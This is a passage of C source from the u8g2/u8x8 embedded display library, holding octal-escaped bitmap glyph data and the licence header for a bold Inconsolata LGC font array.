\"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\300\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\360\\360\\360ppppp\\340\\340\\300\\200\\0\\0pp\\377\\377\\377ppp\\0\\0\\0\\3\"\n  \"\\377\\377\\377\\374\\0\\0\\377\\377\\377\\300\\300\\300\\300\\340\\340\\370\\177\\77\\37\\3\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\361\\361\\301\\0\\0\\1\\3\\3\\3\\3\\361\\360\\360\\0\\377\\377\\377\\3\\17\\37|\\370\\340\\200\\0\"\n  \"\\0\\377\\377\\377\\0\\377\\377\\377\\0\\0\\0\\0\\1\\7\\17>\\374\\377\\377\\377\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\200\\300\\340\\360p\\71\\71\\71;{\\360\\360\\340\\300\\200\\376\\377\\377\\317\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\377\\377\\377\\3\\17\\37\\77|p\\340\\340\\340\\340\\360p|\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360q;;\\71\\71y\\360\\360\\340\\300\\200\\376\\377\\377\\317\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\377\\377\\377\\3\\17\\37\\77|p\\340\\340\\340\\340\\360p|\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\306\\356\\347ssqs\\367\\357\\356\\300\\200\\0\\374\\377\\377\\237\\1\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\3\\377\\377\\377\\7\\37\\77\\177\\370\\340\\300\\300\\300\\300\\340\\340\\370\\177\\77\\17\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\301\\343\\340ppqs\\363\\343\\343\\301\\200\\0\\374\\377\\377\\237\\1\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\3\\377\\377\\377\\7\\37\\77\\177\\370\\340\\300\\300\\300\\300\\340\\340\\370\\177\\77\\17\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\301\\343\\343qppq\\363\\343\\341\\300\\200\\0\\374\\377\\377\\237\\1\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\3\\377\\377\\377\\7\\37\\77\\177\\370\\340\\300\\300\\300\\300\\340\\340\\370\\177\\77\\17\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\3\\207\\307\\357\\376\\374\\370\\374\\376\\317\"\n  \"\\207\\3\\1\\0\\0\\0\\3\\7\\7\\3\\1\\0\\0\\1\\3\\7\\17\\7\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360p\\70\\70\\70\\70\\370\\360\\360\\374\\374\\34\\376\\377\\377\\337\\1\\0\\300\\340\\370>\\17\\7\"\n  \"\\1\\377\\377\\377\\3\\317\\377\\377|\\177\\377\\343\\340\\340\\360x|\\77\\37\\17\\1\\1\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\21\\1\\1\\3\\3\\3\\7\\0\\0\\360\\360\\360\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\0\\37\\177\\377\\374\\340\\300\\300\\300\\300\\300\\340\\374\\177\\177\\37\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\20\\0\\7\\3\\3\\3\\1\\1\\1\\360\\360\\360\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\0\\37\\177\\377\\374\\340\\300\\300\\300\\300\\300\\340\\374\\177\\177\\37\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\362\\26\\7\\3\\3\\1\\3\\7\\17\\6\\362\\360\\360\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\0\\37\\177\\377\\374\\340\\300\\300\\300\\300\\300\\340\\374\\177\\177\\37\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\361\\23\\3\\1\\0\\0\\0\\1\\3\\3\\361\\360\\360\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\0\\37\\177\\377\\374\\340\\300\\300\\300\\300\\300\\340\\374\\177\\177\\37\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0p\\360\\360\\340\\200\\7\\3\\3\\3\\1\\1\\301\\360\\360p\\20\\0\\1\\3\\17\\77\\376\\370\\340\\360\\374\\177\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\17\"\n  \"\\376\\374\\370\\0\\0\\377\\377\\377\\16\\16\\16\\16\\16\\16\\16\\17\\7\\7\\1\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\360\\370<\\34\\34\\34\\34\\70\\370\\360\\340\\0\\0\\0\\377\\377\\377\\1\\0\\0\\70\\70\\70<\\177\"\n  \"\\377\\347\\300\\200\\0\\377\\377\\377\\0\\200\\300\\340\\300\\300\\300\\340\\360\\377\\177\\77\\0\\1\\1\\1\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14>~\\370\\360@\\0\\0\\0\\0\\0\\0\\0\\30\\34\\34\\216\\216\\216\\216\\216\\236\"\n  \"\\374\\374\\370\\0\\0<\\376\\377\\377\\307\\303\\303\\303\\303\\343\\363\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0@`\\370~>\\14\\0\\0\\0\\0\\0\\0\\0\\30\\34\\34\\216\\216\\216\\216\\216\\236\"\n  \"\\374\\374\\370\\0\\0<\\376\\377\\377\\307\\303\\303\\303\\303\\343\\363\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0@\\340\\370|\\36>|\\360\\340@\\0\\0\\0\\0\\0\\30\\34\\34\\216\\216\\216\\216\\216\\236\"\n  \"\\374\\374\\370\\0\\0<\\376\\377\\377\\307\\303\\303\\303\\303\\343\\363\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\30<\\36\\16\\16\\36<xpp<\\30\\0\\0\\0\\0\\30\\34\\34\\216\\216\\216\\216\\216\\236\"\n  \"\\374\\374\\370\\0\\0<\\376\\377\\377\\307\\303\\303\\303\\303\\343\\363\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\30<\\34\\216\\216\\216\\216\\216\\236\"\n  \"\\374\\374\\370\\0\\0<\\376\\377\\377\\307\\303\\303\\303\\303\\343\\363\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0<~fff<<\\0\\0\\0\\0\\0\\0\\0\\30\\34\\34\\216\\216\\216\\216\\216\\236\"\n  \"\\374\\374\\370\\0\\0<\\376\\377\\377\\307\\303\\303\\303\\303\\343\\363\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\34\\36\\216\\216\\236\\374\\374\\374\\274\\216\"\n  \"\\216\\236\\376\\374<\\376\\377\\377\\303\\303\\303\\377\\177\\177\\373\\343\\303\\303\\303\\343\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374<\\36\\16\\16\\16\\16\\36\"\n  \"\\34|\\70\\20\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\300\\340\\360`\\0\\0\\0\\0\\0\\0\\60qaoom=\"\n  \"\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\34~\\374\\360@\\0\\0\\0\\0\\0\\300\\360\\370\\374\\234\\236\\216\\216\\216\\216\\236\"\n  \"\\374\\370\\360\\340\\0\\17\\77\\177\\377\\343\\343\\303\\303\\303\\303\\303\\343\\363c\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\370|>\\34\\10\\0\\0\\0\\0\\300\\360\\370\\374\\234\\236\\216\\216\\216\\216\\236\"\n  \"\\374\\370\\360\\340\\0\\17\\77\\177\\377\\343\\343\\303\\303\\303\\303\\303\\343\\363c\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\370<\\36>|\\360\\340@\\0\\0\\0\\300\\360\\370\\374\\234\\236\\216\\216\\216\\216\\237\"\n  \"\\374\\370\\360\\340\\0\\17\\77\\177\\377\\343\\343\\303\\303\\303\\303\\303\\343\\363c\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\30<<\\30\\0\\0\\0\\300\\360\\370\\374\\234\\216\\216\\216\\216\\216\\236\"\n  \"\\374\\370\\360\\340\\0\\17\\77\\177\\373\\343\\343\\303\\303\\303\\303\\303\\343\\363c\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\4\\14>~\\370p\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\376\\376\\376\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\370~>\\14\\4\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\376\\376\\376\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0@\\360x<\\36|\\370\\340@\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\376\\376\\376\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\16\\16\\16\\16\\376\\376\\376\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0H\\354\\354\\374|x\\360\\360\\360\\270\\70\\0\\0\\300\\360\\370\\374<\\36\\16\\16\\16\\16\\37\\77\"\n  \"\\377\\377\\370\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\340\\360\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\60\\70<\\34\\34<xppx\\70\\30\\0\\0\\0\\376\\376\\376x\\34\\34\\16\\16\\16\\36\\376\"\n  \"\\374\\370\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\14\\34~\\374\\360@\\0\\0\\0\\0\\0\\300\\360\\370\\374<\\36\\16\\16\\16\\16\\36|\"\n  \"\\370\\370\\340\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\340\\360\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\370|>\\34\\0\\0\\0\\0\\0\\300\\360\\370\\374<\\36\\16\\16\\16\\16\\36|\"\n  \"\\370\\370\\340\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\340\\360\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0@\\340\\370|\\36>|\\360\\340@\\0\\0\\0\\300\\360\\370\\374<\\36\\16\\16\\16\\16\\36|\"\n  \"\\370\\370\\340\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\340\\360\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\30<\\36\\16\\16\\36<xpx<\\30\\0\\0\\300\\360\\370\\374<\\36\\16\\16\\16\\16\\36|\"\n  \"\\370\\370\\340\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\340\\360\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\30<<\\30\\0\\0\\0\\300\\360\\370\\374<\\36\\16\\16\\16\\16\\36|\"\n  \"\\370\\370\\340\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\340\\360\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\346\\357\\357\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\300\\360\\370\\374<\\36\\16\\216\\356\\376>\\77\"\n  \"\\377\\373\\340\\0\\17\\77\\377\\375\\360\\374\\337\\317\\303\\300\\340\\370\\177\\177\\37\\0\\0\\3\\3\\7\\1\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\36>~\\370`\\0\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\376\\376\\376\\0\\0\\37\\177\\377\\374\\340\\300\\300\\300\\340\\340|\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0`p\\374>\\36\\14\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\376\\376\\376\\0\\0\\37\\177\\377\\374\\340\\300\\300\\300\\340\\340|\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0@`\\360|>\\36|\\370\\360@\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\376\\376\\376\\0\\0\\37\\177\\377\\374\\340\\300\\300\\300\\300\\340|\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\30<<\\30\\0\\0\\30<<\\30\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\376\\376\\376\\0\\0\\37\\177\\377\\374\\340\\300\\300\\300\\340\\340|\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0p\\370~>\\14\\4\\0\\0\\0\\0\\6\\36~\\376\\360\\300\\0\\0\\0\\0\\300\\370\"\n  \"\\376~\\16\\0\\0\\0\\0\\3\\17\\77\\376\\370\\360\\376\\77\\17\\1\\0\\0\\0\\70xppp|\\77\\37\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\374\\374\\374\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377x\\34\\14\\16\\16\\16\\36>\"\n  \"\\374\\370\\360\\300\\0\\377\\377\\377|\\340\\300\\300\\300\\300\\340\\340\\375\\177\\77\\17\\0\\177\\177\\177\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\30<<\\30\\0\\0\\0\\6\\36~\\376\\360\\200\\0\\0\\0\\0\\300\\370\"\n  \"\\376>\\16\\0\\0\\0\\0\\3\\17\\77\\376\\370\\360\\376\\77\\7\\1\\0\\0\\0\\70xpppx\\77\\37\\7\\1\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--30-300-72-72-P-147-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Emboldened by MihailJP.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 95/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inb21_2x4_r[6084] U8X8_FONT_SECTION(\"u8x8_font_inb21_2x4_r\") = \n  \" ~\\2\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0x\\374\\374\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\363\\363\\363\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\374\\0\\0\\0\\370\\374\\374\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\20\\0\\0\\360\\360\\360\\20\\0\\0\\16\\16\\16\\356\\377\\377\\17\\6\\6\\366\\377\\377\"\n  \"\\37\\16\\16\\16\\7\\7\\347\\377\\377\\37\\7\\7\\367\\377\\377\\17\\7\\7\\7\\0\\0\\0\\1\\1\\1\\0\\0\\0\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360p\\374\\374\\374tp\\340\\340\\300@\\0\\0\\7\\37\\37>\\70\\377\\377\\377\\360\\340\"\n  \"\\340\\301\\301\\200\\0\\0\\70|p\\340\\340\\377\\377\\377\\340\\340q\\177\\77\\37\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\340\\360\\360p\\360\\340\\340\\300\\0\\0\\300\\360\\360p\\20\\7\\17\\17\\36\\34\\37\\337\\357\\377\\376\\77\\17\"\n  \"\\7\\1\\0\\0\\0\\200\\340\\360\\374\\77\\37\\7}\\376\\377\\307\\307\\377\\376\\376\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\200\\340\\340\\360pp\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\207\\337\\377\\377\\360\\360\\370\\277\\37\\17\"\n  \"\\0\\200\\200\\0>\\177\\377\\367\\341\\300\\300\\301\\343\\357\\377~|\\377\\357\\307\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360x<\\34\\20\\0\\0\\0\\0\\0\\360\\376\\377\\177\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\177\\377\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\36<\"\n  \"\\70x\\20\\0\\0\\0<\\70x\\360\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\377\\376\\370\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\377\\377\\77\\0\\0\\0\\0\\0\\20p\\70<\\36\\37\\17\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\20<\\70\\70\\60\\360\\343\\377\\377\\347\\360\\60\"\n  \"\\70\\70<\\0\\0\\0\\10\\36\\37\\17\\3\\1\\1\\3\\17\\37\\36\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\377\\377\\377\\340\\340\\340\"\n  \"\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\61;\\37\\17\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppppppppp\"\n  \"pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\360\\60\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\77\\17\"\n  \"\\3\\0\\0\\0\\0\\0\\200\\340\\370\\376\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\2\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360ppp\\360\\340\\300\\200\\0\\0\\0\\370\\377\\377\\77\\3\\0\\300\\340x<\\17\"\n  \"\\377\\377\\377\\370\\0\\7\\37\\77\\177\\376\\347\\303\\300\\300\\340\\360\\377\\177\\37\\7\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\340pppp\\360\\340\\340\\300\\200\\0\\0\\0\\0\\1\\3\\0\\0\\0\\200\\300\\340\\361\\377\"\n  \"\\177\\37\\0\\0\\0\\300\\340\\370\\374\\336\\317\\307\\303\\301\\301\\300\\300\\300\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0@\\340\\340\\360pppp\\360\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0ppppx\\370\\377\"\n  \"\\337\\217\\0\\0\\0\\0`\\360\\360\\340\\300\\300\\300\\300\\340\\373\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\360\\360\\0\\0\\0\\0\\0\\200\\300\\360\\370<\\17\\7\\1\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\16\\17\\17\\17\\16\\16\\16\\16\\16\\377\\377\\377\\16\\16\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\360\\360\\360ppppppppp\\0\\0\\0\\0\\77\\177\\177\\70\\34\\34\\34\\34<\\370\"\n  \"\\370\\340\\300\\0\\0 p\\370\\360\\340\\300\\300\\300\\300\\340\\377\\177\\77\\17\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\300\\340\\360pppp\\360\\340`\\0\\0\\0\\374\\377\\377\\377\\71<\\34\\34\\34<\\370\"\n  \"\\370\\340\\300\\0\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\340\\377\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0ppppppppp\\360\\360\\360p\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\77\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360ppp\\360\\340\\340\\300\\0\\0\\0\\0\\7\\237\\377\\377\\360p`\\360\\370\\377\"\n  \"\\237\\17\\0\\0\\0>\\177\\377\\373\\340\\300\\300\\300\\300\\341\\377\\377\\177\\36\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  